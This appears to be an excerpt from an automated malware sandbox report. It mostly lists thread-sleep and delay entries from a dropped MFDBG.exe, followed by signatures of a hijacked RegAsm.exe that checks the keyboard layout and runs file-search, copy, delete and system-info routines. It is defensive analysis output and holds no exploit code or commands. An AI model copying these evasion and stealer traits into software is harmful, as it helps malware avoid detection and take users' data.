Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -559716s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -559563s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -559344s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -559172s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -558984s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -558753s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -558593s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -558436s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -558282s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -558091s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -557844s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -557657s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -557469s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -557266s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -557044s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -556875s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -556655s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -556455s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -556286s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -556110s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -555956s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -555749s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -555549s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -555329s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -555094s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -554922s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -554674s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -554442s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -554224s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -553954s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -553625s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -553141s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -552969s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -552782s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -552563s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -552420s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -552261s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -552078s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -551900s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -551702s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -551485s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -551250s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -551032s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -550563s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -550372s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -550141s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -549938s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -549735s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -549547s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -549360s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -549022s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -548813s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -548063s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -547771s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -547500s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -547296s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -547094s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -546875s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -546704s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -546528s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -546313s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -546079s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -545610s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -545293s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -545061s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -544797s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -544391s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -543875s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -543636s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -543407s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -542704s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -542477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -542235s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -541969s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -541735s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -541544s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -541349s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -541154s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -540916s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -540700s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -539974s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -539766s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -539586s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -539406s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -539172s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -538954s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -538728s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -538538s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -538312s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -538117s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -537933s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -537708s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -537516s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -537329s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -537120s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -536958s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -536780s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -536581s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -536421s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -536141s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -535987s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -535766s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -535573s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -535391s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -535242s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -535047s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -534888s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -534672s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -534454s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -534282s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -534047s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -533897s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -533672s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -533514s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -533357s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -533125s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -532916s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -532754s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -532547s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -532375s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -532204s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -532014s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -531854s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -531672s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -531485s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -531317s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -531158s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -531000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -530829s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -530641s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -530422s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -530270s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -530094s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -529931s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -529750s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -529576s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -529458s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -529275s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -529138s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -529000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -528782s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -528547s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -528391s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -528203s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -528047s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -527895s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -527748s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -527094s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -526938s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -526735s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -526562s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -526391s >= -30000s Jump to behavior
Source: C:\ProgramData\EBGDHJECFC.exe TID: 6696 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6368 Thread sleep time: -30000s >= -30000s
Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00410DDB GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 00410EEEh 3_2_00410DDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00415406 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 3_2_00415406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00414C91 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,strtok_s,FindNextFileA,FindClose, 3_2_00414C91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 3_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 3_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 3_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose, 3_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA, 3_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00415F9A wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 3_2_00415F9A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 3_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00415AD4 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 3_2_00415AD4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose, 3_2_0040CD37
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041510B GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA, 3_2_0041510B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00410FBA GetSystemInfo,wsprintfA, 3_2_00410FBA
Source: C:\Users\user\Desktop\file.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 100000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99823 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99661 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99484 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99319 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99140 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 98962 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 98265 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 98025 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 97687 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 97457 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 97268 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 97078 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 96885 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 96728 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99797 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99625 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99297 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99890 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99730 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99531 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99359 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99187 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 98937 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99891 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99728 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99578 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99910 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99688 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99094 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 98891 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 595735 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 595518 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 595312 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 595136 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 594954 Jump to behavior
